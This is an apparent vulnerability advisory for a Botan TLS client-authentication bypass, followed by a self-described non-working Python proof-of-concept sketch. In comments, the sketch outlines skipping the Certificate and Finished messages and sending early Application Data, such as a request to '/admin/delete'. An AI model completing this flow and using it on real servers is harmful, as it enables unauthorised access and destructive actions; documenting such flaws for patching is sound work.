CVE-2026-34582 Botan TLS认证绕过漏洞

# This is a conceptual Proof of Concept (PoC) to demonstrate the vulnerability logic. # It requires a vulnerable version of Botan library ( < 3.11.1). # Since this is a library flaw, actual exploitation involves modifying the TLS handshake flow. import socket import ssl # Conceptual PoC: Attacker attempts to send Application Data before Finished # Note: Standard Python ssl library enforces RFC compliance, so this PoC # illustrates the *intent* of the exploit flow rather than a working script. def exploit_vulnerable_tls(target_host, target_port): print(f"[+] Connecting to {target_host}:{target_port}...") # In a real exploit using the vulnerable Botan library: # 1. Establish TCP connection sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.connect((target_host, target_port)) # 2. Send ClientHello # send_client_hello(sock) # 3. Receive ServerHello, CertificateRequest, etc. # server_msgs = receive_server_messages(sock) # 4. VULNERABILITY TRIGGER: # Instead of sending Certificate, CertificateVerify, and Finished, # the client sends Application Data immediately. print("[!] Skipping Certificate and Finished messages...") print("[!] Sending Application Data prematurely...") # malicious_payload = create_http_request("/admin/delete") # send_record(sock, CONTENT_APPLICATION_DATA, malicious_payload) # If vulnerable, the server processes the request without authenticating the client. print("[+] Exploit logic executed. Check server response.") sock.close() if __name__ == "__main__": # This is a placeholder for demonstration # exploit_vulnerable_tls("127.0.0.1", 443) pass